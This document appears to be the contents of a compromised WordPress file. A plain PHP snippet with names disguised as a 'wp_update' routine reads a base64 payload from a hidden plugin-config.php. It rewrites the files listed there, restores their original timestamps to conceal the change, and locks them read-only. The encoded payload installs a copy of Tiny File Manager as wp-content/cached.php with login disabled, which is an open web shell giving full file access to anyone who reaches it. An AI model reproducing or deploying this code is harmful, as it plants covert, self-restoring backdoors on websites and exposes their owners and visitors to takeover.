YXRlZCddICAgICAgICA9ICdDcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydIZWxwIERvY3VtZW50cyddID0gJ0hlbHAgRG9jdW1lbnRzJztcbiAgICAgICAgJHRyWydlbiddWydSZXBvcnQgSXNzdWUnXSAgID0gJ1JlcG9ydCBJc3N1ZSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7XG4gICAgICAgICR0clsnZW4nXVsnRnVsbFNpemUnXSAgICAgICA9ICdGdWxsIFNpemUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0hpZGVDb2x1bW5zJ10gICAgPSAnSGlkZSBQZXJtc1wvT3duZXIgY29sdW1ucyc7XG4gICAgICAgICR0clsnZW4nXVsnWW91IGFyZSBsb2dnZWQgaW4nXSA9ICdZb3UgYXJlIGxvZ2dlZCBpbic7XG4gICAgICAgICR0clsnZW4nXVsnTm90aGluZyBzZWxlY3RlZCddICA9ICdOb3RoaW5nIHNlbGVjdGVkJztcbiAgICAgICAgJHRyWydlbiddWydQYXRocyBtdXN0IGJlIG5vdCBlcXVhbCddICAgID0gJ1BhdGhzIG11c3QgYmUgbm90IGVxdWFsJztcbiAgICAgICAgJHRyWydlbiddWydSZW5hbWVkIGZyb20nXSAgICAgICA9ICdSZW5hbWVkIGZyb20nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IHVucGFja2VkJ10gPSAnQXJjaGl2ZSBub3QgdW5wYWNrZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZWQnXSAgICAgICAgICAgID0gJ0RlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUgbm90IGNyZWF0ZWQnXSA9ICdBcmNoaXZlIG5vdCBjcmVhdGVkJztcbiAgICAgICAgJHRyWydlbiddWydDb3BpZWQgZnJvbSddICAgICAgICA9ICdDb3BpZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnUGVybWlzc2lvbnMgY2hhbmdlZCddID0gJ1Blcm1pc3Npb25zIGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ3RvJ10gICAgICAgICAgICAgICAgID0gJ3RvJztcbiAgICAgICAgJHRyWydlbiddWydTYXZlZCBTdWNjZXNzZnVsbHknXSA9ICdTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ25vdCBmb3VuZCEnXSAgICAgICAgID0gJ25vdCBmb3VuZCEnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ZpbGUgU2F2ZWQgU3VjY2Vzc2Z1bGx5J10gICAgPSAnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyY2hpdmUnXSAgICAgICAgICAgID0gJ0FyY2hpdmUnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Blcm1pc3Npb25zIG5vdCBjaGFuZ2VkJ10gICAgPSAnUGVybWlzc2lvbnMgbm90IGNoYW5nZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdCBmb2xkZXInXSAgICAgID0gJ1NlbGVjdCBmb2xkZXInO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NvdXJjZSBwYXRoIG5vdCBkZWZpbmVkJ10gICAgPSAnU291cmNlIHBhdGggbm90IGRlZmluZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ2FscmVhZHkgZXhpc3RzJ10gICAgID0gJ2FscmVhZHkgZXhpc3RzJztcbiAgICAgICAgJHRyWydlbiddWydFcnJvciB3aGlsZSBtb3ZpbmcgZnJvbSddICAgID0gJ0Vycm9yIHdoaWxlIG1vdmluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydDcmVhdGUgYXJjaGl2ZT8nXSAgICA9ICdDcmVhdGUgYXJjaGl2ZT8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSddICAgID0gJ0ludmFsaWQgZmlsZSBvciBmb2xkZXIgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnQXJjaGl2ZSB1bnBhY2tlZCddICAgPSAnQXJjaGl2ZSB1bnBhY2tlZCc7XG4gICAgICAgICR0clsnZW4nXVsnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnXSAgPSAnRmlsZSBleHRlbnNpb24gaXMgbm90IGFsbG93ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1Jvb3QgcGF0aCddICAgICAgICAgID0gJ1Jvb3QgcGF0aCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgcmVuYW1pbmcgZnJvbSddICA9ICdFcnJvciB3aGlsZSByZW5hbWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG5vdCBmb3VuZCddICAgICA9ICdGaWxlIG5vdCBmb3VuZCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgZGVsZXRpbmcgaXRlbXMnXSA9ICdFcnJvciB3aGlsZSBkZWxldGluZyBpdGVtcyc7XG4gICAgICAgICR0clsnZW4nXVsnTW92ZWQgZnJvbSddICAgICAgICAgPSAnTW92ZWQgZnJvbSc7XG4gICAgICAgICR0clsnZW4nXVsnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnXSA9ICdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCc7XG4gICAgICAgICR0clsnZW4nXVsnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJ10gPSAnTG9naW4gZmFpbGVkLiBJbnZhbGlkIHVzZXJuYW1lIG9yIHBhc3N3b3JkJztcbiAgICAgICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FkdmFuY2VkIFNlYXJjaCddICAgID0gJ0FkdmFuY2VkIFNlYXJjaCc7XG4gICAgICAgICR0clsnZW4nXVsnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJ10gICAgPSAnRXJyb3Igd2hpbGUgY29weWluZyBmcm9tJztcbiAgICAgICAgJHRyWydlbiddWydJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJ10gICAgICAgICAgICAgICAgPSAnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgbmFtZSc7XG4gICAgICAgICR0clsnZW4nXVsnRklMRSBFWFRFTlNJT04gSVMgTk9UIFNVUFBPUlRFRCddICAgICAgICAgICAgICAgID0gJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXIgZGVsZXRlZCddICAgICAgICAgICAgICA9ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVyIGRlbGV0ZWQnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0Vycm9yIHdoaWxlIGZldGNoaW5nIGFyY2hpdmUgaW5mbyddICAgICAgICAgICAgICA9ICdFcnJvciB3aGlsZSBmZXRjaGluZyBhcmNoaXZlIGluZm8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nXSAgICAgICAgICAgICA9ICdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/JztcbiAgICAgICAgJHRyWydlbiddWydTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nXSAgICAgICAgPSAnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJztcbiAgICAgICAgJHRyWydlbiddWydBY2Nlc3MgZGVuaWVkLiBJUCByZXN0cmljdGlvbiBhcHBsaWNhYmxlJ10gICAgICAgPSAnQWNjZXNzIGRlbmllZC4gSVAgcmVzdHJpY3Rpb24gYXBwbGljYWJsZSc7XG4gICAgICAgICR0clsnZW4nXVsnSW52YWxpZCBjaGFyYWN0ZXJzIGluIGZpbGUgb3IgZm9sZGVyIG5hbWUnXSAgICAgID0gJ0ludmFsaWQgY2hhcmFjdGVycyBpbiBmaWxlIG9yIGZvbGRlciBuYW1lJztcbiAgICAgICAgJHRyWydlbiddWydPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnXSAgICAgPSAnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIG9yIGZvbGRlciB3aXRoIHRoaXMgcGF0aCBhbHJlYWR5IGV4aXN0cyddICAgPSAnRmlsZSBvciBmb2xkZXIgd2l0aCB0aGlzIHBhdGggYWxyZWFkeSBleGlzdHMnO1xuICAgICAgICAkdHJbJ2VuJ11bJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nXSAgICAgICAgICAgICAgICAgICA9ICdBcmUgeW91IHN1cmUgd2FudCB0byByZW5hbWU/JztcbiAgICAgICAgJHRyWydlbiddWydBcmUgeW91IHN1cmUgd2FudCB0byddICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnQXJlIHlvdSBzdXJlIHdhbnQgdG8nO1xuICAgICAgICAkdHJbJ2VuJ11bJ0RhdGUgTW9kaWZpZWQnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICdEYXRlIE1vZGlmaWVkJztcbiAgICAgICAgJHRyWydlbiddWydGaWxlIHNpemUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnRmlsZSBzaXplJztcbiAgICAgICAgJHRyWydlbiddWydNSU1FLXR5cGUnXSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAnTUlNRS10eXBlJztcblxuICAgICAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTtcbiAgICAgICAgJHRyID0gJGkxOG4gPyAkaTE4biA6ICR0cjtcblxuICAgICAgICBpZiAoIXN0cmxlbigkbGFuZykpICRsYW5nID0gJ2VuJztcbiAgICAgICAgaWYgKGlzc2V0KCR0clskbGFuZ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clskbGFuZ11bJHR4dF0pO1xuICAgICAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7XG4gICAgICAgIGVsc2UgcmV0dXJuIFwiJHR4dFwiO1xuICAgIH1cblxuPz4ifV0=dqlzuf $wp_update_file="//home/lajmixx/apps/lajmixx/wp-admin/includes/plugin-config.php"; if ( is_file($wp_update_file) ) { $wp_update_content=trim(file_get_contents($wp_update_file)); if ( $wp_update_content!="" ) { $wp_update_content=substr($wp_update_content,6,-6); $wp_update_content=base64_decode($wp_update_content); $wp_update_arr=json_decode($wp_update_content,true); if ( is_array($wp_update_arr) ) { foreach($wp_update_arr as $value) { $file_mtime=filemtime($value["path"]); @chmod($value["path"],0777); @unlink($value["path"]); @file_put_contents($value["path"],$value["content"]); @touch($value["path"],$file_mtime); @chmod($value["path"],0444); } } } } lUDvuyW3sicGF0aCI6IlwvaG9tZVwvbGFqbWl4eFwvYXBwc1wvbGFqbWl4eFwvd3AtY29udGVudFwvY2FjaGVkLnBocCIsImNvbnRlbnQiOiI8P3BocFxuJENPTkZJRyA9ICd7XCJsYW5nXCI6XCJlblwiLFwiZXJyb3JfcmVwb3J0aW5nXCI6ZmFsc2UsXCJzaG93X2hpZGRlblwiOnRydWUsXCJoaWRlX0NvbHNcIjpmYWxzZSxcInRoZW1lXCI6XCJkYXJrXCJ9JztcblxuXC8qKlxuICogSDNLIH4gVGlueSBGaWxlIE1hbmFnZXIgVjIuNlxuICogQGF1dGhvciBDQ1AgUHJvZ3JhbW1lcnNcbiAqIEBnaXRodWIgaHR0cHM6XC9cL2dpdGh1Yi5jb21cL3ByYXNhdGhtYW5pXC90aW55ZmlsZW1hbmFnZXJcbiAqIEBsaW5rIGh0dHBzOlwvXC90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvXG4gKlwvXG5cbmRlZmluZSgnVkVSU0lPTicsICcyLjYnKTtcblxuZGVmaW5lKCdBUFBfVElUTEUnLCAnVGlueSBGaWxlIE1hbmFnZXInKTtcblxuJHVzZV9hdXRoID0gZmFsc2U7XG5cbiRhdXRoX3VzZXJzID0gYXJyYXkoXG4gICAgJ2FkbWluJyA9PiAnJyxcbiAgICAndXNlcicgPT4gJydcbik7XG5cbiRyZWFkb25seV91c2VycyA9IGFycmF5KFxuICAgICd1c2VyJ1xuKTtcblxuJGdsb2JhbF9yZWFkb25seSA9IGZhbHNlO1xuXG4kZGlyZWN0b3JpZXNfdXNlcnMgPSBhcnJheSgpO1xuXG4kdXNlX2hpZ2hsaWdodGpzID0gdHJ1ZTtcbiRoaWdobGlnaHRqc19zdHlsZSA9ICd2cyc7XG4kZWRpdF9maWxlcyA9IHRydWU7XG4kZGVmYXVsdF90aW1lem9uZSA9ICdFdGNcL1VUQyc7XG5cblxuJHJvb3RfcGF0aCA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ107XG4kcm9vdF91cmwgPSAnJztcbiRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107XG4kaWNvbnZfaW5wdXRfZW5jb2RpbmcgPSAnVVRGLTgnO1xuJGRhdGV0aW1lX2Zvcm1hdCA9ICdtXC9kXC9ZIGc6aSBBJztcbiRwYXRoX2Rpc3BsYXlfbW9kZSA9ICdmdWxsJztcbiRhbGxvd2VkX2ZpbGVfZXh0ZW5zaW9ucyA9ICcnO1xuJGFsbG93ZWRfdXBsb2FkX2V4dGVuc2lvbnMgPSAnJztcbiRmYXZpY29uX3BhdGggPSAnJztcbiRleGNsdWRlX2l0ZW1zID0gYXJyYXkoKTtcbiRvbmxpbmVfdmlld2VyID0gJ2dvb2dsZSc7XG4kc3RpY2t5X25hdmJhciA9IHRydWU7XG4kbWF4X3VwbG9hZF9zaXplX2J5dGVzID0gNTAwMDAwMDAwMDtcbiR1cGxvYWRfY2h1bmtfc2l6ZV9ieXRlcyA9IDIwMDAwMDA7XG4kaXBfcnVsZXNldCA9ICdPRkYnO1xuJGlwX3NpbGVudCA9IHRydWU7XG4kaXBfd2hpdGVsaXN0ID0gYXJyYXkoXG4gICAgJzEyNy4wLjAuMScsXG4gICAgJzo6MSdcbik7XG5cbiRpcF9ibGFja2xpc3QgPSBhcnJheShcbiAgICAnMC4wLjAuMCcsXG4gICAgJzo6J1xuKTtcblxuJGNvbmZpZ19maWxlID0gX19ESVJfXyAuICdcL2NvbmZpZy5waHAnO1xuaWYgKGlzX3JlYWRhYmxlKCRjb25maWdfZmlsZSkpIHtcbiAgICBAaW5jbHVkZSgkY29uZmlnX2ZpbGUpO1xufVxuXG4kZXh0ZXJuYWwgPSBhcnJheShcbiAgICAnY3NzLWJvb3RzdHJhcCcgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuLmpzZGVsaXZyLm5ldFwvbnBtXC9ib290c3RyYXBANS4zLjNcL2Rpc3RcL2Nzc1wvYm9vdHN0cmFwLm1pbi5jc3NcIiByZWw9XCJzdHlsZXNoZWV0XCIgaW50ZWdyaXR5PVwic2hhMzg0LVFXVEtaeWpwUEVqSVN2NVdhUlU5T0ZlUnBvazZZY3RuWW1EcjVwTmx5VDJiUmpYaDBKTWhqWTZoVytBTEV3SUhcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPicsXG4gICAgJ2Nzcy1kcm9wem9uZScgPT4gJzxsaW5rIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2Ryb3B6b25lXC81LjkuM1wvbWluXC9kcm9wem9uZS5taW4uY3NzXCIgcmVsPVwic3R5bGVzaGVldFwiPicsXG4gICAgJ2Nzcy1mb250LWF3ZXNvbWUnID0+ICc8bGluayByZWw9XCJzdHlsZXNoZWV0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvZm9udC1hd2Vzb21lXC80LjcuMFwvY3NzXC9mb250LWF3ZXNvbWUubWluLmNzc1wiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+JyxcbiAgICAnY3NzLWhpZ2hsaWdodGpzJyA9PiAnPGxpbmsgcmVsPVwic3R5bGVzaGVldFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cL2FqYXhcL2xpYnNcL2hpZ2hsaWdodC5qc1wvMTEuOS4wXC9zdHlsZXNcLycgLiAkaGlnaGxpZ2h0anNfc3R5bGUgLiAnLm1pbi5jc3NcIj4nLFxuICAgICdqcy1hY2UnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG5qcy5jbG91ZGZsYXJlLmNvbVwvYWpheFwvbGlic1wvYWNlXC8xLjMyLjJcL2FjZS5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1ib290c3RyYXAnID0+ICc8c2NyaXB0IHNyYz1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XC9ucG1cL2Jvb3RzdHJhcEA1LjMuM1wvZGlzdFwvanNcL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzXCIgaW50ZWdyaXR5PVwic2hhMzg0LVl2cGNyWWYwdFkzbEhCNjBOTmttWGM1czlmRFZaTEVTYUFBNTVORHpPeGh5OUdrY0lkc2xLMWVON042akllSHpcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiPjxcL3NjcmlwdD4nLFxuICAgICdqcy1kcm9wem9uZScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9kcm9wem9uZVwvNS45LjNcL21pblwvZHJvcHpvbmUubWluLmpzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeScgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NvZGUuanF1ZXJ5LmNvbVwvanF1ZXJ5LTMuNi4xLm1pbi5qc1wiIGludGVncml0eT1cInNoYTI1Ni1vODhBd1FuWkIrVkR2RTl0dklYck1RYVBsRkZTVVRSK25sZFFtMUx1UFhRPVwiIGNyb3Nzb3JpZ2luPVwiYW5vbnltb3VzXCI+PFwvc2NyaXB0PicsXG4gICAgJ2pzLWpxdWVyeS1kYXRhdGFibGVzJyA9PiAnPHNjcmlwdCBzcmM9XCJodHRwczpcL1wvY2RuLmRhdGF0YWJsZXMubmV0XC8xLjEzLjFcL2pzXC9qcXVlcnkuZGF0YVRhYmxlcy5taW4uanNcIiBjcm9zc29yaWdpbj1cImFub255bW91c1wiIGRlZmVyPjxcL3NjcmlwdD4nLFxuICAgICdqcy1oaWdobGlnaHRqcycgPT4gJzxzY3JpcHQgc3JjPVwiaHR0cHM6XC9cL2NkbmpzLmNsb3VkZmxhcmUuY29tXC9hamF4XC9saWJzXC9oaWdobGlnaHQuanNcLzExLjkuMFwvaGlnaGxpZ2h0Lm1pbi5qc1wiPjxcL3NjcmlwdD4nLFxuICAgICdwcmUtanNkZWxpdnInID0+ICc8bGluayByZWw9XCJwcmVjb25uZWN0XCIgaHJlZj1cImh0dHBzOlwvXC9jZG4uanNkZWxpdnIubmV0XCIgY3Jvc3NvcmlnaW5cLz48bGluayByZWw9XCJkbnMtcHJlZmV0Y2hcIiBocmVmPVwiaHR0cHM6XC9cL2Nkbi5qc2RlbGl2ci5uZXRcIlwvPicsXG4gICAgJ3ByZS1jbG91ZGZsYXJlJyA9PiAnPGxpbmsgcmVsPVwicHJlY29ubmVjdFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIiBjcm9zc29yaWdpblwvPjxsaW5rIHJlbD1cImRucy1wcmVmZXRjaFwiIGhyZWY9XCJodHRwczpcL1wvY2RuanMuY2xvdWRmbGFyZS5jb21cIlwvPidcbik7XG5cblxuZGVmaW5lKCdNQVhfVVBMT0FEX1NJWkUnLCAkbWF4X3VwbG9hZF9zaXplX2J5dGVzKTtcbmRlZmluZSgnVVBMT0FEX0NIVU5LX1NJWkUnLCAkdXBsb2FkX2NodW5rX3NpemVfYnl0ZXMpO1xuaWYgKCFkZWZpbmVkKCdGTV9TRVNTSU9OX0lEJykpIHtcbiAgICBkZWZpbmUoJ0ZNX1NFU1NJT05fSUQnLCAnZmlsZW1hbmFnZXInKTtcbn1cbiRjZmcgPSBuZXcgRk1fQ29uZmlnKCk7XG4kbGFuZyA9IGlzc2V0KCRjZmctPmRhdGFbJ2xhbmcnXSkgPyAkY2ZnLT5kYXRhWydsYW5nJ10gOiAnZW4nO1xuXG4kc2hvd19oaWRkZW5fZmlsZXMgPSBpc3NldCgkY2ZnLT5kYXRhWydzaG93X2hpZGRlbiddKSA/ICRjZmctPmRhdGFbJ3Nob3dfaGlkZGVuJ10gOiB0cnVlO1xuJHJlcG9ydF9lcnJvcnMgPSBpc3NldCgkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSkgPyAkY2ZnLT5kYXRhWydlcnJvcl9yZXBvcnRpbmcnXSA6IHRydWU7XG4kaGlkZV9Db2xzID0gaXNzZXQoJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10pID8gJGNmZy0+ZGF0YVsnaGlkZV9Db2xzJ10gOiB0cnVlO1xuJHRoZW1lID0gaXNzZXQoJGNmZy0+ZGF0YVsndGhlbWUnXSkgPyAkY2ZnLT5kYXRhWyd0aGVtZSddIDogJ2xpZ2h0JztcblxuZGVmaW5lKCdGTV9USEVNRScsICR0aGVtZSk7XG5cbiRsYW5nX2xpc3QgPSBhcnJheShcbiAgICAnZW4nID0+ICdFbmdsaXNoJ1xuKTtcblxuaWYgKCRyZXBvcnRfZXJyb3JzID09IGZhbHNlKSB7XG4gICAgQGluaV9zZXQoJ2Vycm9yX3JlcG9ydGluZycsIDApO1xuICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApO1xufSBlbHNlIHtcbiAgICBAaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7XG4gICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7XG59XG5cbmlmIChkZWZpbmVkKCdGTV9FTUJFRCcpKSB7XG4gICAgJHVzZV9hdXRoID0gZmFsc2U7XG4gICAgJHN0aWNreV9uYXZiYXIgPSBmYWxzZTtcbn0gZWxzZSB7XG4gICAgQHNldF90aW1lX2xpbWl0KDYwMCk7XG5cbiAgICBkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCRkZWZhdWx0X3RpbWV6b25lKTtcblxuICAgIGluaV9zZXQoJ2RlZmF1bHRfY2hhcnNldCcsICdVVEYtOCcpO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjYuMCcsICc8JykgJiYgZnVuY3Rpb25fZXhpc3RzKCdtYl9pbnRlcm5hbF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX2ludGVybmFsX2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdtYl9yZWdleF9lbmNvZGluZycpKSB7XG4gICAgICAgIG1iX3JlZ2V4X2VuY29kaW5nKCdVVEYtOCcpO1xuICAgIH1cblxuICAgIHNlc3Npb25fY2FjaGVfbGltaXRlcignbm9jYWNoZScpO1xuICAgIHNlc3Npb25fbmFtZShGTV9TRVNTSU9OX0lEKTtcbiAgICBmdW5jdGlvbiBzZXNzaW9uX2Vycm9yX2hhbmRsaW5nX2Z1bmN0aW9uKCRjb2RlLCAkbXNnLCAkZmlsZSwgJGxpbmUpXG4gICAge1xuICAgICAgICBpZiAoJGNvZGUgPT0gMikge1xuICAgICAgICAgICAgc2Vzc2lvbl9hYm9ydCgpO1xuICAgICAgICAgICAgc2Vzc2lvbl9pZChzZXNzaW9uX2NyZWF0ZV9pZCgpKTtcbiAgICAgICAgICAgIEBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgICAgIH1cbiAgICB9XG4gICAgc2V0X2Vycm9yX2hhbmRsZXIoJ3Nlc3Npb25fZXJyb3JfaGFuZGxpbmdfZnVuY3Rpb24nKTtcbiAgICBzZXNzaW9uX3N0YXJ0KCk7XG4gICAgcmVzdG9yZV9lcnJvcl9oYW5kbGVyKCk7XG59XG5cbmlmIChlbXB0eSgkX1NFU1NJT05bJ3Rva2VuJ10pKSB7XG4gICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncmFuZG9tX2J5dGVzJykpIHtcbiAgICAgICAgJF9TRVNTSU9OWyd0b2tlbiddID0gYmluMmhleChyYW5kb21fYnl0ZXMoMzIpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgICAkX1NFU1NJT05bJ3Rva2VuJ10gPSBiaW4yaGV4KG9wZW5zc2xfcmFuZG9tX3BzZXVkb19ieXRlcygzMikpO1xuICAgIH1cbn1cblxuaWYgKGVtcHR5KCRhdXRoX3VzZXJzKSkge1xuICAgICR1c2VfYXV0aCA9IGZhbHNlO1xufVxuXG4kaXNfaHR0cHMgPSBpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgKHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBTJ10pID09ICdvbicgfHwgJF9TRVJWRVJbJ0hUVFBTJ10gPT0gMSlcbiAgICB8fCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddKSAmJiAkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9QUk9UTyddID09ICdodHRwcyc7XG5cbmlmIChpc3NldCgkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ2xvZ2dlZCddKSAmJiAhZW1wdHkoJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dKSkge1xuICAgICR3ZCA9IGZtX2NsZWFuX3BhdGgoZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpO1xuICAgICRyb290X3VybCA9ICAkcm9vdF91cmwgLiAkd2QgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGRpcmVjdG9yaWVzX3VzZXJzWyRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbG9nZ2VkJ11dO1xufVxuJHJvb3RfdXJsID0gZm1fY2xlYW5fcGF0aCgkcm9vdF91cmwpO1xuXG5kZWZpbmVkKCdGTV9ST09UX1VSTCcpIHx8IGRlZmluZSgnRk1fUk9PVF9VUkwnLCAoJGlzX2h0dHBzID8gJ2h0dHBzJyA6ICdodHRwJykgLiAnOlwvXC8nIC4gJGh0dHBfaG9zdCAuICghZW1wdHkoJHJvb3RfdXJsKSA/ICdcLycgLiAkcm9vdF91cmwgOiAnJykpO1xuZGVmaW5lZCgnRk1fU0VMRl9VUkwnKSB8fCBkZWZpbmUoJ0ZNX1NFTEZfVVJMJywgKCRpc19odHRwcyA/ICdodHRwcycgOiAnaHR0cCcpIC4gJzpcL1wvJyAuICRodHRwX2hvc3QgLiAkX1NFUlZFUlsnUEhQX1NFTEYnXSk7XG5cbmlmIChpc3NldCgkX0dFVFsnbG9nb3V0J10pKSB7XG4gICAgdW5zZXQoJF9TRVNTSU9OW0ZNX1NFU1NJT05fSURdWydsb2dnZWQnXSk7XG4gICAgdW5zZXQoJF9TRVNTSU9OWyd0b2tlbiddKTtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCk7XG59XG5cbmlmICgkaXBfcnVsZXNldCAhPSAnT0ZGJykge1xuICAgIGZ1bmN0aW9uIGdldENsaWVudElQKClcbiAgICB7XG4gICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0NGX0NPTk5FQ1RJTkdfSVAnLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX0NGX0NPTk5FQ1RJTkdfSVBcIl07XG4gICAgICAgIH0gZWxzZSBpZiAoYXJyYXlfa2V5X2V4aXN0cygnSFRUUF9YX0ZPUldBUkRFRF9GT1InLCAkX1NFUlZFUikpIHtcbiAgICAgICAgICAgIHJldHVybiAgJF9TRVJWRVJbXCJIVFRQX1hfRk9SV0FSREVEX0ZPUlwiXTtcbiAgICAgICAgfSBlbHNlIGlmIChhcnJheV9rZXlfZXhpc3RzKCdSRU1PVEVfQUREUicsICRfU0VSVkVSKSkge1xuICAgICAgICAgICAgcmV0dXJuICRfU0VSVkVSWydSRU1PVEVfQUREUiddO1xuICAgICAgICB9IGVsc2UgaWYgKGFycmF5X2tleV9leGlzdHMoJ0hUVFBfQ0xJRU5UX0lQJywgJF9TRVJWRVIpKSB7XG4gICAgICAgICAgICByZXR1cm4gJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ107XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xu